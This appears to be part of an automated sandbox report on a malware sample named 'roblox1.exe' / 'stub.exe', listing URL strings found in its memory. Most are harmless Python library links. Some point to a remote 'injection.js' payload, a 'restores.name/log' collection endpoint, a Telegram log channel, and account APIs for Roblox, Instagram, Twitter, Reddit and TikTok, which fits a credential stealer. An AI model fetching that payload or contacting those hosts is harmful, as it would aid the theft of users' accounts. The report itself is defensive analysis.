Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1938094967.00000213BE55C000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1945319876.00000213BE561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/asyncio-eventloop.html
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://economy.roblox.com/v1/users/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filepreviews.io/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1946318506.00000213BE9A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940824169.00000213BED1E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937485075.00000213BECD9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1944604841.00000213BE310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/aio-libs/aiohttp/discussions/6044
Source: stub.exe, 00000003.00000002.1949463983.00000213BF514000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues
Source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues/8996
Source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues/9253
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs)
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/blob/main/.github/CONTRIBUTING.md)
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1328)
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1329)
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1330)
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1940431612.00000213BE4FA000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/136
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1940431612.00000213BE4FA000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1552093383.00000213BE4C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/251
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1940431612.00000213BE4FA000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/428
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/wiki/Extensions-to-attrs)
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940824169.00000213BED1E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937485075.00000213BECD9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1944604841.00000213BE310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/pull/28073
Source: stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sponsors/hynek
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sponsors/hynek).
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gql.twitch.tv/gql
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://gql.twitch.tv/gqlT
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hynek.me/articles/import-attrs/)
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://i.instagram.com/api/v1/accounts/current_user/?edit=true
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://i.instagram.com/api/v1/accounts/current_user/?edit=trueuhttps://i.instagram.com/api/v1/users
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://i.instagram.com/api/v1/users/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://instagram.com/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klaviyo.com/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1938065782.00000213BE603000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1945647945.00000213BE608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mahler:8092/site-updates.py
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547712572.00007FF7D065C000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://nuitka.net/info/segfault.html
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://oauth.reddit.com/api/v1/me
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://oauth.reddit.com/api/v1/meuNo
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://open.spotify.com/user/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://open.spotify.com/user/u
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://packaging.python.org/specifications/entry-points/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0649/)
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0749/)-implementing
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/attrs/)
Source: roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1961361267.00007FFBAAD33000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: https://python.org/dev/peps/pep-0263/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://raw.githubusercontent.com/justforMonster/injection/main/injection.js
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://raw.githubusercontent.com/justforMonster/injection/main/injection.jsanulluMain.GetInjectionC
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/python-attrs/attrs/main/docs/_static/attrs_logo.svg
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://restores.name/log
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://restores.name/logaYWC7WVTV3UDR8DUg
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/questions/tagged/python-attrs)
Source: stub.exe, 00000003.00000002.1946318506.00000213BE9A0000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1939941508.00000213BED89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: stub.exe, 00000003.00000003.1936996426.00000213BEEAF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1949761469.00000213BF5A0000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937485075.00000213BED4E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1947969384.00000213BEEC0000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916641171.00000213BEEB2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1939941508.00000213BED89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: stub.exe, 00000003.00000003.1698207529.00000213BEF58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/TaroCloudFreelogs
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1936996426.00000213BEEAF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1916641171.00000213BEEC8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937485075.00000213BED4E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1947969384.00000213BEEC0000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1943034035.00000213BDE98000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916641171.00000213BEEB2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1939941508.00000213BED89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/TaroCloudFreelogs----------------------
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://thumbnails.roblox.com/v1/users/avatar?userIds=
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/?utm_source=lifter&utm_medium=referral&utm_campaign=hynek
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/?utm_source=lifter&utm_medium=referral&utm_campaign=hynek).
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=pypi
Source: stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tiktok.com/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/home
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/i/api/1.1/account/update_profile.json
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://twitter.com/i/api/1.1/account/update_profile.jsonareqadescriptionuThere
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://twitter.com/u
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://twitter.comarefereruhttps://twitter.com/homeusec-fetch-destaemptyusec-fetch-modeacorsusec-fe
Source: stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://webcast.tiktok.com/webcast/wallet_api/diamond_buy/permission/?aid=1988&app_language=de-DE&ap
Source: stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/)
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/24.2.0/_static/sponsors/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/24.2.0/_static/sponsors/FilePreviews.svg
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/24.2.0/_static/sponsors/Klaviyo.svg
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/24.2.0/_static/sponsors/Tidelift.svg
